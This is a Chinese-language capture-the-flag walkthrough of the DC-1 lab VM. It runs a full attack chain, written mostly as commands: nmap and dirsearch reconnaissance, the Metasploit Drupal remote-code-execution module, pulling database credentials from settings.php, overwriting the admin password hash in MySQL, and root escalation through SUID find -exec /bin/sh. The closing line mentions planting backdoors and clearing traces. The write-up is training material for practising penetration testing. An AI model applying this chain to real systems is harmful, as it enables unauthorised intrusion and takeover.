一,靶场环境
靶场:DC-1 ,ip 192.168.241.129 NAT模式
测试机:kali ,ip 192.168.241.130 NAT模式
实验流程:
一,信息收集
使用nmap进行全端口扫描
nmap 192.168.241.129 -sV -p-
使用dirsearch进行目录扫描
python dirsearch.py -u 192.168.241.129 -e*
使用whatweb进行cms识别
whatweb -v 192.168.241.129
二,信息分析
1.靶机开放了22,80,1111,39648端口
2.cms识别出为drupal7
3.因为22端口开放的是ssh端口,我们可以尝试爆破
4.尝试验证利用网上公布drupal远程代码执行漏洞
三,攻击流程
使用msfconsole搜索可以利用exp**
msfconsole 开启msfconsole
search Drupal 搜索drupal相关漏洞
通过漏洞描述发现存在远程代码执行漏洞可以利用,选择使用exp,设置好目标地址,run开始执行
use 1 执行序号为1的exp
set RHOSTS 192.168.241.129 设置攻击地址
run 开启攻击
漏洞执行成功后执行shell命令,获取shell
shell
为了命令执行方便 利用python改变交互方式
python -c 'import pty; pty; pty.spawn("/bin/bash")'
ls 查询当前目录文件
通过文件显示,打开我们的目标flag1文件,查看里面信息
cat flag1.txt
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件,你也一样。
这时我们根据提示去寻找配置文件
find / -name settings.php durpal的配置文件默认为:sites/default/settings.php
cat /var/www/sites/default/settings.php 打开我们找到的配置文件
Brute force and dictionary attacks aren't the 暴力和字典攻击不是
* only ways to gain access (and you WILL need access). *获得访问权限的唯一方法(您将需要访问权限)。
* What can you do with these credentials? *您可以使用这些凭据做什么?
在里面发现mysql数据库的账号密码号和flag2,提示我可以尝试提升权限,我们尝试登录mysql看看是否能登录
mysql -udbuser -pR0ck3t 登录数据库
show databases; 登录后查看当前数据库
use drupaldb; 打开druoaldb
select * from users; 查询数据库里面的所有users信息
发现获得的users信息里面,密码是hash加密的并且我们无法破解,我们此刻转变思路,退出去选找密码的加密文件
exit; 退出mysql
cat /var/www/scripts/password-hash.sh 打开文件查看里面密码加密信息
根据代码分析后,我们可以用来加密我们设置的密码然后再去替换掉他原本的密码
php /var/www/scripts/password-hash.sh 123456 调用该文件对我们设定的密码123456,去进行相应加密
复制加密后的密码,再次登录数据库,我们将目标账户密码替换成我们已知加密后的密码
update users set pass = "$S$DuCwmyP0UecPnrDHmBuFmyc4Kq2fO.qaCo6UOdbW2gVcjEcKwjP5" where uid = 1;
接着我们去打开网站输入账号密码登录
账号:admin
密码:123456
登录后我们到处查看信息我们寻找到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS将有助于查找密码,但您需要执行该命令来确定如何获取阴影中的内容。
接着我们直接用find提升我们自己的权限
find / -name index.php -exec "/bin/sh" \;
**```
接着我直接用find命令找寻flag4**
```r
find / -name flag4*
cat /home/flag4/flag4.txt 打开flag4
Can you use this same method to find or access the flag in root?
你能用同样的方法来查找或访问根目录中的标志吗?
Probably. But perhaps it's not that easy. Or maybe it is?
可能但也许这并不容易。或者可能是这样?
此刻全部flag也已经找寻完成,如果在正常渗透过程中,我们还或根据需要写入后门,以及痕迹清理。这里就不做演示耽误大家时间了,个人技术较菜文章中,哪里如果有错误望各位师傅指出。